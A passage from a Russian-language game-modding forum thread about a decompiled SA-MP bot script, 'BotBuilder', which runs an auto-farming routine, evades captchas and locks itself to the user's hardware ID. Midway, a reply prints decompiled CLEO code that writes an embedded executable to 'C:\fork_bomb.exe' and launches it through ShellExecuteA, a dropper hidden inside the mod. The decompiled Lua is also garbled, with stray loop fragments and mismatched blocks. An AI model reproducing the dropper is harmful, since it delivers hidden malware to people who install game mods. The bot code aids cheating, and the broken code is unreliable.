            var_8_10 = INPUT_VAR_2_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
            var_8_7 = var_8_5 +  8 --var_8_7 NUMBER-NUMBER
            until false or (previous if statement is true) --location 0029
            var_8_8 = 4 --var_8_8 NUMBER-NUMBER
            var_8_10 = INPUT_VAR_3_
            var_8_9 = representFloatAsInt(var_8_10)
            var_8_10 = false --var_8_10 PRIMITIVE-PRIMITIVE
            writeMemory(var_8_7, var_8_8, var_8_9, var_8_10)
        end
    end
    return
end


function randomFunction    SearchMarker (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_)
    var_9_5 = 0 --var_9_5 NUMBER-NUMBER
    var_9_6 = 0 --var_9_6 NUMBER-NUMBER
    var_9_7 = 0 --var_9_7 NUMBER-NUMBER
    var_9_8 = false --var_9_8 PRIMITIVE-PRIMITIVE
    var_9_9 = 0 --var_9_9 NUMBER-NUMBER
    var_9_10 = 31 --var_9_10 NUMBER-NUMBER
    var_9_11 = 1 --var_9_11 NUMBER-NUMBER
    for var_9_12 = var_9_9,var_9_10,var_9_11 do --location 0008, loop ends at 0068-1
        var_9_13 = 0 --var_9_13 NUMBER-NUMBER
        if INPUT_VAR_4_ then
            --jump to 0015 (if previous if statement is false) --0015 JMP-JMP
            var_9_14 = var_9_12 *  56 --var_9_14 NUMBER-NUMBER
            var_9_13 =  13103464 + var_9_14 --var_9_13 NUMBER-NUMBER
        else
            --location 0015--0015 LOCATION-LOCATION_
            var_9_14 = var_9_12 *  160 --var_9_14 NUMBER-NUMBER
            var_9_13 =  13098376 + var_9_14 --var_9_13 NUMBER-NUMBER
        end
        var_9_16 = var_9_13 +  0 --var_9_16 NUMBER-NUMBER
        var_9_17 = 4 --var_9_17 NUMBER-NUMBER
        var_9_18 = false --var_9_18 PRIMITIVE-PRIMITIVE
        var_9_14 = representIntAsFloat( readMemory(var_9_16, var_9_17, var_9_18) )
        var_9_17 = var_9_13 +  4 --var_9_17 NUMBER-NUMBER
        var_9_18 = 4 --var_9_18 NUMBER-NUMBER
        var_9_19 = false --var_9_19 PRIMITIVE-PRIMITIVE
        until false or (previous if statement is true) --location 0029
        var_9_15 = representIntAsFloat( readMemory(var_9_17, var_9_18, var_9_19) )
        var_9_18 = var_9_13 +  8 --var_9_18 NUMBER-NUMBER
        var_9_19 = 4 --var_9_19 NUMBER-NUMBER
        var_9_20 = false --var_9_20 PRIMITIVE-PRIMITIVE
        var_9_16 = representIntAsFloat( readMemory(var_9_18, var_9_19, var_9_20) )
        if var_9_14 == 4 then
            --jump to 0044 (if previous if statement is false) --0044 JMP-JMP
            if var_9_15 == 4 then
                --jump to 0044 (if previous if statement is false) --0044 JMP-JMP
                if var_9_16 ~= 4 then
                    --jump to 0067 (if previous if statement is false) --0067 JMP-JMP
                    var_9_18 = var_9_14
                    var_9_19 = var_9_15
                    var_9_20 = var_9_16
                    var_9_21 = INPUT_VAR_0_
                    var_9_22 = INPUT_VAR_1_
                    var_9_23 = INPUT_VAR_2_
                    var_9_17 = getDistanceBetweenCoords3d(var_9_18, var_9_19, var_9_20, var_9_21, var_9_22, var_9_23)
                    if var_9_17 < INPUT_VAR_3_ then
                        --jump to 0067 (if previous if statement is false) --0067 JMP-JMP
                        var_9_5 = var_9_14
                        var_9_6 = var_9_15
                        var_9_7 = var_9_16
                        var_9_8 = true --var_9_8 PRIMITIVE-PRIMITIVE
                        var_9_18 = var_9_14
                        var_9_19 = var_9_15
                        var_9_20 = var_9_16
                        var_9_21 = INPUT_VAR_0_
                        var_9_22 = INPUT_VAR_1_
                        var_9_23 = INPUT_VAR_2_
                        var_9_17 = getDistanceBetweenCoords3d(var_9_18, var_9_19, var_9_20, var_9_21, var_9_22, var_9_23)
                        var_9_3 = var_9_17
                    end --location 0067, loops back to 0009-1
                    var_9_9 = var_9_8
                    var_9_10 = var_9_5
                    var_9_11 = var_9_6
                    var_9_12 = var_9_7
                    return var_9_9, var_9_10, var_9_11, var_9_12
                end
            end end end end --REVERSE ME--REVERSE ME--REVERSE ME--REVERSE ME

function someFunc10()
    script_name("BotBuilder")
    script_authors("Flashblaker")
    script_dependencies("CLEO")
    require("lib.moonloader")
    var_10_0 = require("moonloader")
    var_10_1 = require("lib.samp.events")
    require("lib.sampfuncs")
    var_10_2 = require("vkeys")
    var_10_3 = require("imgui")
    until false or (previous if statement is true) --location 0029
    var_10_4 = require("encoding")
    var_10_5 = require("inicfg")
    var_10_4.default = "CP1251"
    u8 = var_10_4.UTF8
    var_10_6 = 0 --var_10_6 NUMBER-NUMBER
    activate = var_10_6
    keyEmul = VK_RETURN
    keyEmul2 = VK_DOWN
    var_10_6 = require("ffi")
    var_10_8 = "    int __stdcall GetVolumeInformationA(" --strings longer than 40 characters get cut off, so check to see if there's more!
    var_10_6.cdef(var_10_8)
    var_10_9 = 0 --var_10_9 NUMBER-NUMBER
    var_10_7 = var_10_6.new("unsigned long[1]", var_10_9)
    var_10_8 = nil --var_10_8 PRIMITIVE-PRIMITIVE
    local randomFunction0 = function() end -- starts at  test.lua:0
    main = randomFunction0
    local randomFunction1 = function() end -- starts at  test.lua:0
    BeginToPoint = randomFunction1
    local randomFunction2 = function() end -- starts at  test.lua:0
    MovePlayer = randomFunction2
    local randomFunction3 = function() end -- starts at  test.lua:0
    SetAngle = randomFunction3
    local randomFunction4 = function() end -- starts at  test.lua:0
    GetCoordinates = randomFunction4
    local randomFunction5 = function() end -- starts at  test.lua:0
    activatet = randomFunction5
    local randomFunction6 = function() end -- starts at  test.lua:0
    teleportPlayer = randomFunction6
    local randomFunction7 = function() end -- starts at  test.lua:0
    setCharCoordinatesDontResetAnim = randomFunction7
    local randomFunction8 = function() end -- starts at  test.lua:0
    setEntityCoordinates = randomFunction8
    local randomFunction9 = function() end -- starts at  test.lua:0
    SearchMarker = randomFunction9
    return
end
 
  • Нравится
Реакции: atiZZZ

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Декриптаните плз
Код открыт.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0AB1: call_scm_func @Label000ED4 1 -212 0@ 
0AA7: call_function 8532696 num_params 2 pop 2 "wb" "C:\fork_bomb.exe" 3@ 
0AA7: call_function 8533620 num_params 4 pop 4 3@ 3584 1 0@ 4@ 
0AA7: call_function 8532363 num_params 1 pop 1 3@ 4@ 
0AA2: 0@ = load_library "shell32.dll" // IF and SET
0AA4: 1@ = get_proc_address "ShellExecuteA" library 0@ // IF and SET
0A9F: 30@ = current_thread_pointer
0AB1: call_scm_func @Label000ED4 1 -3861 2@ 
0A8D: 30@ = read_memory 13204508 size 4 virtual_protect 0
0AA7: call_function 1@ num_params 6 pop 0 2 8751956 8751956 2@ 0 30@ 3@ 
0A93: end_custom_thread
:Label000ED4
00D6: if
0039:   0@ == 0
004D: jump_if_false @Label000EED
0AB2: ret 1 0

:Label000EED
0A9F: 1@ = current_thread_pointer
000A: 1@ += 16
0A8D: 1@ = read_memory 1@ size 4 virtual_protect 0
0062: 1@ -= 0@ // (int)
0AB2: ret 1 1@
hex
43 3A 66 6F 72 6B 5F 62 6F 6D 62 2E 65 78
end
 

atiZZZ

Новичок
249
47
Lua:
function randomFunction    main ()
    var_0_1 = 2000 --var_0_1 NUMBER-NUMBER
    wait(var_0_1)
    var_0_0 = {}
    var_0_1 = {}
    var_0_2 = {}
    var_0_4 = nil
    var_0_5 = nil
    var_0_6 = 0 --var_0_6 NUMBER-NUMBER
    var_0_8 = nil
    var_0_9 = nil
    var_0_10 = nil
    var_0_11 = 0 --var_0_11 NUMBER-NUMBER
    uget_0_0.C.GetVolumeInformationA(var_0_4, var_0_5, var_0_6, uget_0_1, var_0_8, var_0_9, var_0_10, var_0_11)
    uget_0_1.unknownB0 = var_0_1
    if uget_0_1 == 0 then
        --jump to 0033 (if previous if statement is false) --0033 JMP-JMP
        var_0_4 = "[BotBuilder]: {ffffff}Привязка пройдена!" --strings longer than 40 characters get cut off, so check to see if there's more!
        var_0_5 = 32255 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_3 = 1 --var_0_3 NUMBER-NUMBER
        jobed = var_0_3
        sampRegisterChatCommand("bbf", activatet)
    else
        --location 0033--0033 LOCATION-LOCATION_
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage("Ваш спец-код:", var_0_5)
        var_0_4 = uget_0_1 *  3 --var_0_4 NUMBER-NUMBER
        var_0_5 = 32255 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_4 = "[BotBuilder]: {ffffff}Привязка не пройде" --strings longer than 40 characters get cut off, so check to see if there's more!
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage(var_0_4, var_0_5)
        var_0_5 = 16711680 --var_0_5 NUMBER-NUMBER
        sampAddChatMessage("Обратитесь к vk.com/lazer_feed! ", var_0_5)
        var_0_3 = 0 --var_0_3 NUMBER-NUMBER
        jobed = var_0_3
    end
    repeat
    var_0_4 = 0 --var_0_4 NUMBER-NUMBER
    wait(var_0_4)
    var_0_3 = isPlayerPlaying(playerHandle)
    if var_0_3 then
        --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
        if enabled then
            --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
            var_0_4 = 1475.76001 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1349.569946 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1475.47998 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1349.459961 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1473.890015 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1347.119995 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1473.849976 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1341.800049 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_4 = 1475.569946 --var_0_4 NUMBER-NUMBER
            var_0_5 = -1339.800049 --var_0_5 NUMBER-NUMBER
            var_0_6 = 113.150002 --var_0_6 NUMBER-NUMBER
            var_0_7 = 1 --var_0_7 NUMBER-NUMBER
            var_0_8 = -255 --var_0_8 NUMBER-NUMBER
            var_0_9 = false --var_0_9 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_4, var_0_5, var_0_6, var_0_7, var_0_8, var_0_9)
            var_0_4 = 10 --var_0_4 NUMBER-NUMBER
            wait(var_0_4)
            var_0_3, var_0_4, var_0_5 = GetCoordinates()
            var_0_7 = var_0_3
            var_0_8 = var_0_4
            var_0_9 = var_0_5
            var_0_10 = 50 --var_0_10 NUMBER-NUMBER
            var_0_11 = false --var_0_11 PRIMITIVE-PRIMITIVE
            var_0_6, var_0_7, var_0_8, var_0_9 = SearchMarker(var_0_7, var_0_8, var_0_9, var_0_10, var_0_11)
            if var_0_6 then
                --jump to 0138 (if previous if statement is false) --0138 JMP-JMP
                var_0_11 = var_0_7
                var_0_12 = var_0_8
                var_0_13 = var_0_9
                var_0_14 = 1 --var_0_14 NUMBER-NUMBER
                var_0_15 = -255 --var_0_15 NUMBER-NUMBER
                var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
                BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            end
            var_0_11 = 10000 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 2050 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1475.48999 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1340.079956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1473.560059 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1340.689941 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1474.02002 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1346.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1473.77002 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1347.48999 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.169998 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1474.689941 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1348.22998 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1476.109985 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1348.619995 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.280029 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.170044 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.77002 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.119995 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.300049 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.170044 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.77002 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.119995 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.300049 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.810059 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 200 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.160034 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul2, var_0_12)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 1481.150024 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1349.810059 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 200 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 1481.160034 --var_0_11 NUMBER-NUMBER
            var_0_12 = -1350.829956 --var_0_12 NUMBER-NUMBER
            var_0_13 = 113.150002 --var_0_13 NUMBER-NUMBER
            var_0_14 = 1 --var_0_14 NUMBER-NUMBER
            var_0_15 = -255 --var_0_15 NUMBER-NUMBER
            var_0_16 = false --var_0_16 PRIMITIVE-PRIMITIVE
            BeginToPoint(var_0_11, var_0_12, var_0_13, var_0_14, var_0_15, var_0_16)
            var_0_11 = 600 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_11 = 20 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = true --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 10 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            var_0_12 = false --var_0_12 PRIMITIVE-PRIMITIVE
            setVirtualKeyDown(keyEmul, var_0_12)
            var_0_11 = 4000 --var_0_11 NUMBER-NUMBER
            wait(var_0_11)
            --jump to 0052 (if previous if statement is false) --0052 JMP-JMP
            until false or (previous if statement is true) --location 0394
            return
        end
    end end --REVERSE ME--REVERSE ME

function randomFunction    BeginToPoint (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_,INPUT_VAR_4_,INPUT_VAR_5_)
    repeat
    var_1_6, var_1_7, var_1_8 = GetCoordinates()
    var_1_10 = INPUT_VAR_0_
    var_1_11 = INPUT_VAR_1_
    var_1_12 = INPUT_VAR_2_
    SetAngle(var_1_10, var_1_11, var_1_12)
    var_1_10 = INPUT_VAR_4_
    var_1_11 = INPUT_VAR_5_
    MovePlayer(var_1_10, var_1_11)
    var_1_10 = INPUT_VAR_0_
    var_1_11 = INPUT_VAR_1_
    var_1_12 = INPUT_VAR_2_
    var_1_13 = var_1_6
    var_1_14 = var_1_7
    var_1_15 = INPUT_VAR_2_
    var_1_9 = getDistanceBetweenCoords3d(var_1_10, var_1_11, var_1_12, var_1_13, var_1_14, var_1_15)
    var_1_11 = 0 --var_1_11 NUMBER-NUMBER
    wait(var_1_11)
    if enabled then
        --jump to 0029 (if previous if statement is false) --0029 JMP-JMP
        if var_1_9 < INPUT_VAR_3_ then
        end -- maybe?
    else
        --location 0029--0029 LOCATION-LOCATION_
        until false or (previous if statement is true) --location 0029
        return
    end
  
  

function randomFunction    MovePlayer (INPUT_VAR_0_,INPUT_VAR_1_)
    var_2_3 = 1 --var_2_3 NUMBER-NUMBER
    var_2_4 = INPUT_VAR_0_
    setGameKeyState(var_2_3, var_2_4)
    if INPUT_VAR_1_ then
        --jump to 0011 (if previous if statement is false) --0011 JMP-JMP
        var_2_3 = 16 --var_2_3 NUMBER-NUMBER
        var_2_4 = 255 --var_2_4 NUMBER-NUMBER
        setGameKeyState(var_2_3, var_2_4)
    end
    return
end


function randomFunction    SetAngle (INPUT_VAR_0_,INPUT_VAR_1_)
    var_3_3, var_3_4, var_3_5 = GetCoordinates()
    var_3_6 = INPUT_VAR_0_ - var_3_3 --var_3_6 NUMBER-NUMBER
    var_3_7 = INPUT_VAR_1_ - var_3_4 --var_3_7 NUMBER-NUMBER
    var_3_9 = var_3_6
    var_3_10 = var_3_7
    var_3_8 = getHeadingFromVector2d(var_3_9, var_3_10)
    var_3_9 = isCharInAnyCar(playerPed)
    if var_3_9 then
        --jump to 0022 (if previous if statement is false) --0022 JMP-JMP
        var_3_9 = storeCarCharIsInNoSave(playerPed)
        var_3_11 = var_3_9
        var_3_12 = var_3_8
        setCarHeading(var_3_11, var_3_12)
    else
        --location 0022--0022 LOCATION-LOCATION_
        var_3_11 = var_3_8
        setCharHeading(playerPed, var_3_11)
    end
    restoreCameraJumpcut()
    return
end


function randomFunction    GetCoordinates ()
    var_4_0 = isCharInAnyCar(playerPed)
    if var_4_0 then
        --jump to 0013 (if previous if statement is false) --0013 JMP-JMP
        var_4_0 = storeCarCharIsInNoSave(playerPed)
        var_4_2 = var_4_0
        return getCarCoordinates(var_4_2)
    else
        --location 0013--0013 LOCATION-LOCATION_
        return getCharCoordinates(playerPed)
    end
    return
end


function randomFunction    activatet ()
    var_5_0 = not enabled
    enabled = var_5_0
    if enabled then
        --jump to 0028 (if previous if statement is false) --0028 JMP-JMP
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {7FFF00}Успешно Активирован!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {7FFF00}АвтоКапча активирована!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
    else
        --location 0028--0028 LOCATION-LOCATION_
        until false or (previous if statement is true) --location 0029
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {8B0000}Деактивирован!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
        var_5_3 = thisScript()
        var_5_1 = string.format("[%s]: {8B0000}АвтоКапча деактивирована!", var_5_3.name)
        var_5_2 = 16747520 --var_5_2 NUMBER-NUMBER
        sampAddChatMessage(var_5_1, var_5_2)
    end
    return
end


function randomFunction    teleportPlayer (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_)
    var_6_3 = isCharInAnyCar(playerPed)
    if var_6_3 then
        --jump to 0012 (if previous if statement is false) --0012 JMP-JMP
        var_6_5 = INPUT_VAR_0_
        var_6_6 = INPUT_VAR_1_
        var_6_7 = INPUT_VAR_2_
        setCharCoordinates(playerPed, var_6_5, var_6_6, var_6_7)
    end
    var_6_5 = INPUT_VAR_0_
    var_6_6 = INPUT_VAR_1_
    var_6_7 = INPUT_VAR_2_
    setCharCoordinatesDontResetAnim(playerPed, var_6_5, var_6_6, var_6_7)
    return
end


function randomFunction    setCharCoordinatesDontResetAnim (INPUT_VAR_0_,INPUT_VAR_1_,INPUT_VAR_2_,INPUT_VAR_3_)
    var_7_5 = INPUT_VAR_0_
    var_7_4 = doesCharExist(var_7_5)
    if var_7_4 then
        --jump to 0015 (if previous if statement is false) --0015 JMP-JMP
        var_7_5 = INPUT_VAR_0_
        var_7_4 = getCharPointer(var_7_5)
        var_7_6 = var_7_4
        var_7_7 = INPUT_VAR_1_
        var_7_8 = INPUT_VAR_2_
        var_7_9 = INPUT_VAR_3_
        setEntityCoordinates(var_7_6, var_7_7, var_7_8, var_7_9)
    end
